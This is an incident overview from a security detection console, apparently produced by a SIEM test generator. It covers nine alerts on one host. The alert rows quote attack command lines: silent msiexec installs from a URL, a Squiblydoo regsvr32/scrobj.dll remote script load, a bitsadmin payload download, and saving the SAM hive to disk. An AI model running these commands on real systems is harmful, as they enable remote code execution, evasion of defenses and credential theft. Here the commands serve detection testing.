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Incident Overview

Incident ID CINC-20251221-E102C407
Severity Critical (90)
Status in_progress
Alert Count 9
Host Count 1

Timeline

First Seen 2025-12-22 08:12:19
Last Seen 2025-12-22 08:15:53
Duration 0d 0h 3m
Created 2025-12-22 08:36
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Execution Persistence Defense Evasion Credential Access
Techniques:
User Execution Event Triggered Execution Regsvr32 OS Credential Dumping BITS Jobs

Affected Hosts (1)

TEAHEE

Related Alerts (9)

Severity Status Hostname Description Tactic Command Line Time
Informational new TEAHEE A process has written a known EICAR test file. Review the files written by the triggered process. Execution "C:\app\cortex-xdr-siem-test\xdr_tools\MegaGenerator\bin\publish\MegaGenerator.exe" --once --scenarios 15 12-22 08:15
High new TEAHEE Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Please review the installer package and any pre- or post-install actions. Persistence msiexec /q /i http://127.0.0.1/test.msi 12-22 08:15
High new TEAHEE A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line. Defense Evasion regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll 12-22 08:15
Critical new TEAHEE A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SAM C:\Users\dokji\AppData\Local\Temp\sam.hiv 12-22 08:15
High new TEAHEE Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Please review the installer package and any pre- or post-install actions. Persistence msiexec /q /i http://127.0.0.1/test.msi 12-22 08:15
High new TEAHEE A process attempted to download a file using bitsadmin in an unusual way. The file might be a malicious payload. Investigate the process tree. Defense Evasion bitsadmin /transfer j http://127.0.0.1/t C:\Users\dokji\AppData\Local\Temp\b.exe 12-22 08:15
High new TEAHEE Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Please review the installer package and any pre- or post-install actions. Persistence msiexec /q /i http://127.0.0.1/test.msi 12-22 08:15
High new TEAHEE Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Please review the installer package and any pre- or post-install actions. Persistence msiexec /q /i http://127.0.0.1/test.msi 12-22 08:15
Informational new TEAHEE A process has written a known EICAR test file. Review the files written by the triggered process. Execution "C:\app\cortex-xdr-siem-test\xdr_tools\MegaGenerator\bin\publish\MegaGenerator.exe" --once --scenarios 15 12-22 08:12